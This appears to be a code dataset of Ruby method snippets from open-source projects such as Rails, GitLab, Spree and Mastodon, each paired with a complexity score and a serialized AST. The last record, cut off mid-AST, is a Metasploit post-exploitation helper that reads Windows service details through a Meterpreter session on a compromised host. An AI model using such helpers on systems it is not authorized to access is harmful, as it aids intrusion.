{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":82,"raw_source":"def i18n_scope # :doc:\n          @i18n_scope ||= file_path.tr(\"/\", \".\")\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@i18n_scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_path\"]},\"tr\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"9b5c0551-7d6e-4f9c-94fb-ad4064feeaaa"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/splitter/weight.rb","start_line":9,"raw_source":"def split(packages)\n          generated_packages = packages.flat_map(&method(:reduce))\n          packages.push(*generated_packages)\n          return_next(packages)\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"split\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"generated_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"reduce\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generated_packages\"]}]}]},{\"type\":\"send\",\"children\":[null,\"return_next\",{\"type\":\"lvar\",\"children\":[\"packages\"]}]}]}]}","id":"5910953d-8b2d-460d-9485-a1ec562909ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/analytics_instrumentation.rb","start_line":77,"raw_source":"def check_deprecated_data_sources!\n        new_metric_files.each do |filename|\n          add_suggestion(\n            filename: filename,\n            regex: /^\\+?\\s+data_source: redis\\w*/,\n            replacement: 'data_source: internal_events',\n            comment_text: CHANGE_DEPRECATED_DATA_SOURCE_MESSAGE\n          )\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_deprecated_data_sources!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_metric_files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"add_suggestion\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\+?\\\\s+data_source: redis\\\\w*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"str\",\"children\":[\"data_source: internal_events\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_text\"]},{\"type\":\"const\",\"children\":[null,\"CHANGE_DEPRECATED_DATA_SOURCE_MESSAGE\"]}]}]}]}]}]}","id":"2e49541f-76b1-4b3b-859d-31d6093efd25"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":389,"raw_source":"def move_column_via_action_menu(column_name, direction:)\n        raise ArgumentError, \"direction should be :left or :right\" unless %i[left right].include?(direction)\n\n        find(\".generic-table--sort-header a[data-test-selector='#{column_name.downcase}-move-col-#{direction}']\").click\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"move_column_via_action_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"kwarg\",\"children\":[\"direction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"left\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"direction\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"direction should be :left or :right\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".generic-table--sort-header a[data-test-selector='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"-move-col-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direction\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"click\"]}]}]}","id":"cf473502-29b8-4fd6-b04e-64bfb2236eaa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/trends/links_controller.rb","start_line":33,"raw_source":"def trends_preview_card_batch_params\n    params\n      .expect(trends_preview_card_batch: [:action, preview_card_ids: []])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"trends_preview_card_batch_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trends_preview_card_batch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preview_card_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"8aa16271-877b-4ea8-a608-bef299d0567a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":204,"raw_source":"def test_allows_class_to_override_setter_and_call_super\n    mean_pirate_class = Class.new(Pirate) do\n      accepts_nested_attributes_for :parrot\n      def parrot_attributes=(attrs)\n        super(attrs.merge(color: \"blue\"))\n      end\n    end\n    mean_pirate = mean_pirate_class.new\n    mean_pirate.parrot_attributes = { name: \"James\" }\n    assert_equal \"James\", mean_pirate.parrot.name\n    assert_equal \"blue\", mean_pirate.parrot.color\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_allows_class_to_override_setter_and_call_super\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mean_pirate_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Pirate\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accepts_nested_attributes_for\",{\"type\":\"sym\",\"children\":[\"parrot\"]}]},{\"type\":\"def\",\"children\":[\"parrot_attributes=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"blue\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mean_pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mean_pirate_class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mean_pirate\"]},\"parrot_attributes=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"James\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"James\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mean_pirate\"]},\"parrot\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"blue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mean_pirate\"]},\"parrot\"]},\"color\"]}]}]}]}","id":"6aeb38c1-ff81-4f98-82c9-09311feda848"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contacts_controller.rb","start_line":102,"raw_source":"def destroy\n    if ::OnlineStatusTracker.get_presence(\n      @contact.account.id, 'Contact', @contact.id\n    )\n      return render_error({ message: I18n.t('contacts.online.delete', contact_name: @contact.name.capitalize) },\n                          :unprocessable_entity)\n    end\n\n    @contact.destroy!\n    head :ok\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OnlineStatusTracker\"]},\"get_presence\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"account\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"Contact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"contacts.online.delete\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"name\"]},\"capitalize\"]}]}]}]}]}]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"ab6a1fa7-ee25-47cc-9eaa-e44146ee8c6b"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/code_climate/code_climate_fingerprint.rb","start_line":27,"raw_source":"def identify_warning\n        identifying_aspects << warning.source\n        identifying_aspects << warning.smell_type\n        identifying_aspects << warning.context\n        identifying_aspects << parameters\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"identify_warning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifying_aspects\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warning\"]},\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifying_aspects\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warning\"]},\"smell_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifying_aspects\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warning\"]},\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifying_aspects\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"parameters\"]}]}]}]}","id":"b3f8f456-da45-4ef9-acfc-a6ca950d9461"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/extract_metadata_service.rb","start_line":63,"raw_source":"def file_type_debian?\n        file_type == :deb || file_type == :udeb || file_type == :ddeb\n      end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"file_type_debian?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"deb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"udeb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ddeb\"]}]}]}]}","id":"ea1c7644-9de3-44ce-86dc-0104133d24ba"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/taxons_helper.rb","start_line":17,"raw_source":"def taxon_sort_options_for_select\n        @taxon_sort_options_for_select ||= Spree::Taxon::SORT_ORDERS.map do |sort_order|\n          [\n            Spree.t(\"products_sort_options.#{sort_order.underscore}\"),\n            sort_order\n          ]\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"taxon_sort_options_for_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@taxon_sort_options_for_select\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxon\"]},\"SORT_ORDERS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sort_order\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"products_sort_options.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]},\"underscore\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sort_order\"]}]}]}]}]}","id":"0c50af01-b005-404e-a1e5-d5c6ddafe1f5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/portal_client.rb","start_line":564,"raw_source":"def enable_device!(device_id, device_udid, mac: false)\n      req = request(:post, \"https://developer.apple.com/services-account/#{PROTOCOL_VERSION}/account/#{platform_slug(mac)}/device/enableDevice.action\", {\n          teamId: team_id,\n          displayId: device_id,\n          deviceNumber: device_udid\n      })\n      parse_response(req, 'device')\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_device!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_id\"]},{\"type\":\"arg\",\"children\":[\"device_udid\"]},{\"type\":\"kwoptarg\",\"children\":[\"mac\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROTOCOL_VERSION\"]}]},{\"type\":\"str\",\"children\":[\"/account/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform_slug\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]},{\"type\":\"str\",\"children\":[\"/device/enableDevice.action\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"displayId\"]},{\"type\":\"lvar\",\"children\":[\"device_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deviceNumber\"]},{\"type\":\"lvar\",\"children\":[\"device_udid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_response\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"str\",\"children\":[\"device\"]}]}]}]}","id":"af8841be-4954-4116-a6db-3a717142a9f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/issue_links_spec.rb","start_line":240,"raw_source":"def perform_request(issue_link_id, user = nil)\n      delete api(\"/projects/#{project.id}/issues/#{issue.iid}/links/#{issue_link_id}\", user)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_link_id\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"iid\"]}]},{\"type\":\"str\",\"children\":[\"/links/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_link_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"431eec59-1790-4fd7-8caa-aaa5c4d42e13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gfm/reference_rewriter.rb","start_line":99,"raw_source":"def build_cross_reference(referable, target_parent)\n        class_name = referable.class.base_class.name\n\n        return referable.to_reference(target_parent) unless %w[Label Milestone].include?(class_name)\n        return referable.to_reference(@source_parent, target_container: target_parent) if referable.is_a?(GroupLabel)\n        return referable.to_reference(target_parent, full: true, absolute_path: true) if referable.is_a?(Milestone)\n\n        full = @source_parent.is_a?(Group) ? true : false\n        referable.to_reference(target_parent, full: full)\n      end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_cross_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"referable\"]},{\"type\":\"arg\",\"children\":[\"target_parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Label\"]},{\"type\":\"str\",\"children\":[\"Milestone\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"to_reference\",{\"type\":\"lvar\",\"children\":[\"target_parent\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"GroupLabel\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"to_reference\",{\"type\":\"ivar\",\"children\":[\"@source_parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_container\"]},{\"type\":\"lvar\",\"children\":[\"target_parent\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Milestone\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"to_reference\",{\"type\":\"lvar\",\"children\":[\"target_parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"absolute_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"full\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referable\"]},\"to_reference\",{\"type\":\"lvar\",\"children\":[\"target_parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"lvar\",\"children\":[\"full\"]}]}]}]}]}]}","id":"2637ec6b-9780-45c8-af13-bb462d67f278"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/workers/evm_server.rb","start_line":56,"raw_source":"def stop_servers\n    as_each_server { @current_server.shutdown }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_servers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_each_server\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_server\"]},\"shutdown\"]}]}]}","id":"79e12993-6bc8-4b81-b6bd-bc15db65326b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140904215629_rename_trust_level_settings.rb","start_line":4,"raw_source":"def up\n    execute \"UPDATE site_settings\n             SET name = regexp_replace(name, '^basic_', 'tl1_')\"\n\n    execute \"UPDATE site_settings\n             SET name = regexp_replace(name, '^regular_', 'tl2_')\"\n\n    execute \"UPDATE site_settings\n             SET name = regexp_replace(name, '^leader_', 'tl3_')\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE site_settings\\n\"]},{\"type\":\"str\",\"children\":[\"             SET name = regexp_replace(name, '^basic_', 'tl1_')\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE site_settings\\n\"]},{\"type\":\"str\",\"children\":[\"             SET name = regexp_replace(name, '^regular_', 'tl2_')\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE site_settings\\n\"]},{\"type\":\"str\",\"children\":[\"             SET name = regexp_replace(name, '^leader_', 'tl3_')\"]}]}]}]}]}","id":"cd18c829-1bf0-4650-a440-37113787a601"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/services.rb","start_line":260,"raw_source":"def service_info(name)\n          if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE)\n            begin\n              return session.extapi.service.query(name)\n            rescue Rex::Post::Meterpreter::RequestError => e\n              vprint_error(\"Request Error #{e} Falling back to registry technique\")\n            end\n          end\n\n          servicekey = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\#{name.chomp}\"\n          start_type = registry_getvaldata(servicekey, 'Start').to_s\n          if start_type.empty?\n            print_error(\"Could not retrieve the start type of the #{name.chomp} service!\")\n            return nil\n          end\n\n          {\n            display: registry_getvaldata(servicekey, 'DisplayName').to_s,\n            starttype: (start_type.starts_with?('0x') ? start_type.to_i(16) : start_type.to_i),\n            path: registry_getvaldata(servicekey, 'ImagePath').to_s,\n            startname: registry_getvaldata(servicekey, 'ObjectName').to_s,\n            dacl: nil,\n            logroup: nil,\n            interactive: nil\n          }\n        end","complexity_score":35.03,"ast_json":"{\"type\":\"def\",\"children\":[\"service_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"extapi\"]},\"service\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request Error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" Falling back to registry technique\"]}]}]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"servicekey\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"chomp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"servicekey\"]},{\"type\":\"str\",\"children\":[\"Start\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_type\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not retrieve the start type of the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\" service!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"servicekey\"]},{\"type\":\"str\",\"children\":[\"DisplayName\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starttype\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_type\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"0x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_type\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_type\"]},\"to_i\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"servicekey\"]},{\"type\":\"str\",\"children\":[\"ImagePath\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"startname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"servicekey\"]},{\"type\":\"str\",\"children\":[\"ObjectName\"]}]},\"